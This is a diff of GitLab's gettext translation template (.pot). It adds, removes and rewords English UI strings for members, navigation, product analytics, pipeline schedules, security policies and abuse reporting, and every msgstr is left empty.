@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
